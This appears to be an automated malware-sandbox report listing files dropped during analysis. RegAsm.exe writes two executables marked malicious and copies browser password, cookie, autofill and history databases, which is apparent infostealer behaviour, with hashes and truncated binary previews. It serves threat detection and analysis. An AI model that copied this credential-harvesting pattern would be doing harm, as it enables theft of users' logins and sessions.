Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\3kaNpKWTvXjwLZn_llOJ.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916480
Entropy (8bit):	6.576808820369272
Encrypted:	false
SSDEEP:	12288:QqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga6TX:QqDEvCTbMWu7rQYlBQcBiT6rprG8aKX
MD5:	B325B839AB0CFD002C5FD1CEC765C60B
SHA1:	690201561096028B0601F4584F2CC5A548531012
SHA-256:	4420FEBDBE9CEA06FDAFDF9C01A0BE1D5D4A97773977A397E73B425575C2EEC7
SHA-512:	9A30512FD8B492C65158E59F80C01E1989F1C8345C01A6DEB866699AE74BAEEAF8685FCF48AA1B0902252D148474D3AE926DD5DD22873C5E37AF6186B0165082
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...9.e.........."..........L......w.............@..........................`.......N....@...@.......@.....................d...\|....@..@........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...@....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\8ghN89CsjOW1Login Data For Account

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\D87fZN3R3jFeWeb Data

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\D87fZN3R3jFeplaces.sqlite

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\Ei8DrAmaYu9KLogin Data

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\IWPfiAXUTJTSHistory

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\KvHrxJ77cmUgLogin Data

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\PXBvYMcLF9IUsaGl9axr.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1388032
Entropy (8bit):	7.984359427417673
Encrypted:	false
SSDEEP:	24576:BvDkFjI51Dta/7Q++3OP4fNXP2ltMGbVRO/LpgP0I5a5BzRznROFQIyrGn:BvgyHtg7ie0NXP+ZCTI5aDzCCIyrGn
MD5:	F3CFA7E6835A51B52B5B2F4173C5D047
SHA1:	93F1E90F3D19D26627064E64D691D28479C67273
SHA-256:	265BA94B8B506CB5CF03BEEFBAB38AA9358801E0F8420226E120A224D18262EA
SHA-512:	8259F98C1F1473CF9C3C4A66BAA822AC74328F8DFAD1883CD2F4CD23CF31CA17ED2369D308E86079694C132BE834DFE047F8FD1ACA84DE5500C0123CA752E87A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......wD..3%..3%..3%..hM..=%..hM...%..hM.. %...H..!%...H..'%...H..F%..hM.."%..3%...%...K..2%...Ko.2%...K..2%..Rich3%..........................PE..L...l.e..............................?...... ....@...........................@...........@... .. .... .. ..................P.1.<...........................0.1...............................1......................................................................<..................@............ ... ...j...@..............@............P...@......................@.......................................@............P.......<..................@....rsrc...............................@.............).........................@....data....@....0..@..................@...........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\QdX9ITDLyCRBWeb Data

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\UPG2LoPXwc7OWeb Data

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\ZunTSaNJLBVfWeb Data

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\o0qT3dWYBP7ZHistory

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\oOPEmFmu_xsJCookies

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\pSE1jchbiT9aHistory

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jobA4D66hfr61WFM1U\suOrwW4ZcUbjWeb Data

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Reputation:	unknown
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.873140679513133
Encrypted:	false
SSDEEP:	3:L6QjXRNn:HjBNn
MD5:	AAC6A494542DFB6BD682007E6B8E956B
SHA1:	8150DA5C3942D3D05DAA55B3D0822847364385EB
SHA-256:	ECE0DC50351AFD6E298CB18A7469DD18CBFA14FA282499857520C4A64F2709C3
SHA-512:	5F6FD21D2122A90232DCC116D62E8DA947B008168EEF3279529A7CB4FDAE7EF915AE7839793E426C66C98AE7CE41A324EABDF35C04F2491282188259094FFBDB
Malicious:	false
Reputation:	unknown
Preview:	1705540932411

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\128.png

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\af\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\am\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ar\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\az\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Reputation:	unknown
